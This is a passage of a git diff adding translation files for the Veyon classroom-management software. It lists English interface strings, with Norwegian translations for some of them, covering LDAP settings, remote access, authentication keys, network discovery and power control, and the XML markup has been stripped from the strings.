+ Debug messages and everything else + + + + Limit log file size + + + + Clear all log files + + + + Log to standard error output + + + + Network object directory + + + + Backend: + + + + Update interval: + + + + %1 service + + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + + + + Log files cleared + + + + All log files were cleared successfully. + + + + Error + + + + Could not remove all log files. + + + + MB + + + + Rotate log files + + + + x + + + + seconds + + + + Write to logging system of operating system + + + + Authentication + + + + Method: + + + + Logon authentication + + + + Key file authentication + + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + + + + Allow access to the internet + + + + Show help about command + + + + Block internet + + + + Click this button to block access to the internet. + + + + Unblock internet + + + + Click this button to allow access to the internet. + + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + + + + Basic settings + + + + General + + + + LDAP server and port + + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + + + + List all groups of a computer + + + + Get computer object by IP address + + + + LDAP connection failed + + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + + + + Please enter a group name whose members to query: + + + + group members + + + + group member attribute + + + + Group not found + + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + + + + Please enter a computer host name to query: + + + + Invalid host name + + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + + + + computer MAC address attribute + + + + users + + + + user groups + + + + computer groups + + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + + + + LDAP %1 test failed + + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + + + + The %1 has been queried successfully and %2 entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + + + + List all computer rooms + + + + Enter computer room name + + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + + + + computer group filter or computer room member aggregation + + + + Computer rooms + + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + + + + TLS + + + + SSL + + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + + + + Disable balloon tooltips + + + + Show icons only + + + + + MainWindow + + MainWindow + + + + toolBar + + + + General + + + + &File + + + + &Help + + + + &Quit + + + + Ctrl+Q + + + + Ctrl+S + + + + L&oad settings from file + + + + Ctrl+O + + + + About Qt + + + + Authentication impossible + + + + Configuration not writable + + + + Load settings from file + + + + Save settings to file + + + + Unsaved settings + + + + There are unsaved settings. Quit anyway? + + + + Veyon Configurator + + + + Service + + + + Master + + + + Access control + + + + About Veyon + + + + Auto + + + + Computer rooms + + + + About + + + + %1 Configurator %2 + + + + JSON files (*.json) + + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + + + + Reset configuration + + + + Do you really want to reset the local configuration and revert all settings to their defaults? + + + + Search users and computers + + + + Adjust optimal size + + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + + + + Insufficient privileges + + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + + + + ... + + + + User configuration + + + + Feature on computer double click: + + + + Automatically switch to current room at start + + + + Features + + + + All features + + + + Disabled features + + + + Perform access control at program start + + + + Screenshots + + + + <no feature> + + + + Automatically adjust computer thumbnail size at start + + + + Basic settings + + + + Behaviour + + + + Enforce selected mode for client computers + + + + Only show current room + + + + Allow adding rooms manually + + + + Hide local computer + + + + Hide empty rooms + + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + + + + Show confirmation dialog for potential dangerous actions + + + + User interface + + + + Background color + + + + Thumbnail update interval + + + + ms + + + + Program start + + + + Modes and features + + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + + + + Builtin monitoring mode + + + + This is the default mode and allows you to monitor all computers in one or more rooms. + + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + + + + + PasswordDialog + + Username + + + + Password + + + + Veyon Logon + + + + Authentication error + + + + Logon failed with given username and password. Please try again! + + + + Please enter your username and password in order to access computers. + + + + + PowerControlFeaturePlugin + + Power on + + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + + + + Reboot + + + + Click this button to reboot all computers. + + + + Power down + + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + + + + Power on/down or reboot a computer + + + + Confirm reboot + + + + Confirm power down + + + + Do you really want to reboot the selected computers? + + + + Do you really want to power down the selected computer? + + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + + + + Open a remote view for a computer without interaction. + + + + Remote control + + + + Open a remote control window for a computer. + + + + Remote access + + + + Remote view or control a computer + + + + Please enter the hostname or IP address of the computer to access: + + + + Show help about command + + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + + + + Remote control + + + + Send shortcut + + + + Fullscreen + + + + Window + + + + Quit + + + + Ctrl+Alt+Del + + + + Ctrl+Esc + + + + Alt+Tab + + + + Alt+F4 + + + + Win+Tab + + + + Win + + + + Menu + + + + Alt+Ctrl+F1 + + + + Connecting %1 + + + + Connected. + + + + Screenshot + + + + + RoomSelectionDialog + + Room selection + + + + enter search filter... + + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + + + + Run programs + + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + ScreenLockFeaturePlugin + + Lock + + + + Unlock + + + + Lock screen and input devices of a computer + + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + + + + + Screenshot + + unknown + + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + + + + Screenshot + + + + + ScreenshotFeaturePlugin + + Screenshot + + + + Use this function to take a screenshot of selected computers. + + + + Screenshots taken + + + + Screenshot of %1 computer have been taken successfully. + + + + Take screenshots of computers and save them locally. + + + + + ScreenshotManagementView + + User: + + + + Date: + + + + Time: + + + + Show + + + + Delete + + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + + + + Computer: + + + + + ServiceConfigurationPage + + General + + + + Autostart + + + + Hide tray icon + + + + Start service + + + + Stopped + + + + Stop service + + + + State: + + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + + + + Demo server port + + + + Enable firewall exception + + + + Allow connections from localhost only + + + + Internal VNC server port + + + + VNC server + + + + Plugin: + + + + Restart %1 Service + + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + + + + Running + + + + Feature manager port + + + + Primary service port + + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + + + + Service is not running + + + + Configure and control Veyon service + + + + Register Veyon Service + + + + Unregister Veyon Service + + + + Start Veyon Service + + + + Stop Veyon Service + + + + Restart Veyon Service + + + + Query status of Veyon Service + + + + Commands for configuring and controlling Veyon Service + + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + + + + Use the field below to type your message which will be sent to all selected users. + + + + + TextMessageFeaturePlugin + + Text message + + + + Use this function to send a text message to all users e.g. to assign them new tasks. + + + + Message from teacher + + + + Send a message to a user + + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + + + + Poll full screen (leave this enabled per default) + + + + Low accuracy (turbo mode) + + + + Builtin UltraVNC server configuration + + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + + + + + UserSessionControl + + User session control + + + + Click this button to logout users from all computers. + + + + Confirm user logout + + + + Do you really want to logout the selected users? + + + + Logout + + + + + VeyonCore + + [OK] + + + + [FAIL] + + + + Invalid command! + + + + Available commands: + + + + Invalid arguments given + + + + Not enough arguments given - use "%1 help" for more information + + + + Unknown result! + + + + Available modules: + + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + + + + Custom x11vnc parameters: + + + + Do not use X Damage extension + + + + \ No newline at end of file diff --git a/translations/no_NO.ts b/translations/no_NO.ts new file mode 100644 index 0000000..d42a08b --- /dev/null +++ b/translations/no_NO.ts @@ -0,0 +1,3815 @@ + + + AboutDialog + + About + Om + + + Translation + Oversettelse + + + License + Lisens + + + About Veyon + Om Veyon + + + Contributors + + + + Version: + Versjon: + + + Website: + + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + + + + About %1 %2 + Om %1 %2 + + + Support Veyon project with a donation + + + + + AccessControlPage + + Computer access control + + + + Grant access to every authenticated user (default) + + + + Test + Test + + + Restrict access to members of certain user groups + + + + Process access control rules + + + + User groups authorized for computer access + + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + + + + Authorized user groups + + + + All groups + Alle grupper + + + ... + ... + + + Access control rules + + + + Add access control rule + + + + Remove access control rule + + + + Move selected rule down + + + + Move selected rule up + + + + Edit selected rule + + + + Enter username + + + + Please enter a user login name whose access permissions to test: + + + + Access allowed + + + + The specified user is allowed to access computers with this configuration. + + + + Access denied + + + + The specified user is not allowed to access computers with this configuration. + + + + Enable usage of domain groups + + + + User groups backend: + + + + Missing user groups backend + + + + No default user groups plugin was found. Please check your installation! + + + + + AccessControlRuleEditDialog + + Edit access control rule + + + + General + Generelt + + + enter a short name for the rule here + + + + Rule name: + + + + enter a description for the rule here + + + + Rule description: + + + + Invert all conditions ("is/has" interpreted as "is/has not") + + + + Conditions + + + + is member of group + + + + is located in room + + + + Accessing computer is localhost + + + + Accessing user is logged on user + + + + Accessing user is already connected + + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + + + + Action + + + + Allow access + Tillat tilgang + + + Deny access + + + + Ask logged on user for permission + + + + None (rule disabled) + + + + Accessing user + + + + Accessing computer + + + + Local (logged on) user + + + + Local computer + + + + Always process rule and ignore conditions + + + + No user logged on + Ingen bruker pålogget + + + Accessing computer is located in the same room as local computer + + + + Accessing user has one or more groups in common with local (logged on) user + + + + + AccessControlRulesTestDialog + + Access control rules test + + + + Accessing user: + + + + Local computer: + + + + Accessing computer: + + + + Please enter the following user and computer information in order to test the configured ruleset. + + + + Local user: + Lokal bruker: + + + Connected users: + + + + The access in the given scenario is allowed. + + + + The access in the given scenario is denied. + + + + The access in the given scenario needs permission of the logged on user. + + + + ERROR: Unknown action + + + + Test result + + + + + AuthKeysConfigurationPage + + Authentication keys + + + + Introduction + + + + Key file directories + + + + Public key file base directory + + + + Private key file base directory + + + + ... + ... + + + Available authentication keys + + + + Create key pair + + + + Delete key + + + + Import key + + + + Export key + + + + Set access group + + + + Key files (*.pem) + + + + Authentication key name + + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + + + + Please select a key to delete! + + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + + + + Failed to read key file. + + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + Navn + + + Type + + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + + + + Rooms + + + + Computers + Datamaskiner + + + Name + Navn + + + Host address/IP + + + + MAC address + + + + Add new room + + + + Remove selected room + + + + Add new computer + + + + Remove selected computer + + + + New room + + + + New computer + + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + + + + Add a room or computer + + + + Clear all rooms and computers + + + + Dump all or individual rooms and computers + + + + List all rooms and computers + + + + Remove a room or computer + + + + Import objects from given file + + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + + + + Name + Navn + + + Host address + + + + MAC address + + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + + + + Room + + + + Computer + + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + Innebygget VNC-server (UltraVNC) + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + Innebygget VNC-server (x11vnc) + + + + ComputerControlListModel + + Room: %1 + Rom: %1 + + + Host/IP address: %1 + + + + Active features: %1 + + + + Online and connected + + + + Establishing connection + + + + Computer offline or switched off + + + + Service unreachable or not running + + + + Authentication failed or access denied + + + + Disconnected + Frakoblet + + + No user logged on + Ingen bruker pålogget + + + Logged on user: %1 + Pålogget bruker: %1 + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + + + + Remote access + + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + + + + Add room + + + + Save computer/user list + + + + Select output filename + + + + CSV files (*.csv) + CSV filer (*.csv) + + + File error + + + + Could not write the computer and users list to %1! Please check the file access permissions. + + + + Computer search + + + + + ComputerManager + + User + Bruker + + + Missing network object directory plugin + + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + + + + Computer name;Host name;User + + + + Room detection failed + + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + + + + Please specify a valid filename for the configuration export. + + + + Please specify a valid key. + + + + Specified key does not exist in current configuration! + + + + Please specify a valid value. + + + + Configure Veyon at command line + + + + Output file is not writable! + + + + Output directory is not writable! + + + + Configuration file is not readable! + + + + Clear system-wide Veyon configuration + + + + List all configuration keys and values + + + + Import configuration from given file + + + + Export configuration to given file + + + + Read and output configuration value for given key + + + + Write given value to given configuration key + + + + Unset (remove) given configuration key + + + + Commands for managing the configuration of Veyon + + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + %1 Demo + + + + DemoConfigurationPage + + Demo server + Demo server + + + Tunables + + + + ms + ms + + + Key frame interval + + + + Memory limit + + + + Use multithreading (experimental) + + + + MB + MB + + + Update interval + + + + s + s + + + + DemoFeaturePlugin + + Fullscreen demo + + + + Stop demo + Stopp demo + + + Window demo + + + + Give a demonstration by screen broadcasting + + + + Demo server + Demo server + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + + + + + DesktopAccessDialog + + Desktop access dialog + + + + Confirm desktop access + + + + Never for this session + + + + Always for this session + + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + Navn + + + Path + + + + Add new program + + + + Remove selected program + + + + Predefined websites + + + + Remove selected website + + + + URL + + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + + + + Open website + + + + Click this button to open a website on all computers. + Klikk denne knappen for å åpne nettsiden på alle datamaskinene. + + + Please enter the URL of the website to open: + + + + Start programs and services in user desktop + + + + Click this button to run a program on all computers. + + + + Run program "%1" + + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + + + + Port: + Port: + + + Password: + Passord: + + + + FeatureControl + + Feature control + + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + + + + Language: + Språk: + + + Use system language setting + + + + Veyon + Veyon + + + Logging + + + + Log file directory + + + + ... + ... + + + Log level + + + + Nothing + + + + Only critical messages + + + + Errors and critical messages + + + + Warnings and errors + + + + Information, warnings and errors + + + + Debug messages and everything else + + + + Limit log file size + + + + Clear all log files + + + + Log to standard error output + + + + Network object directory + + + + Backend: + + + + Update interval: + + + + %1 service + + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + + + + Log files cleared + + + + All log files were cleared successfully. + + + + Error + + + + Could not remove all log files. + + + + MB + MB + + + Rotate log files + + + + x + x + + + seconds + sekunder + + + Write to logging system of operating system + + + + Authentication + + + + Method: + + + + Logon authentication + + + + Key file authentication + + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + + + + Allow access to the internet + + + + Show help about command + + + + Block internet + + + + Click this button to block access to the internet. + + + + Unblock internet + + + + Click this button to allow access to the internet. + + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP 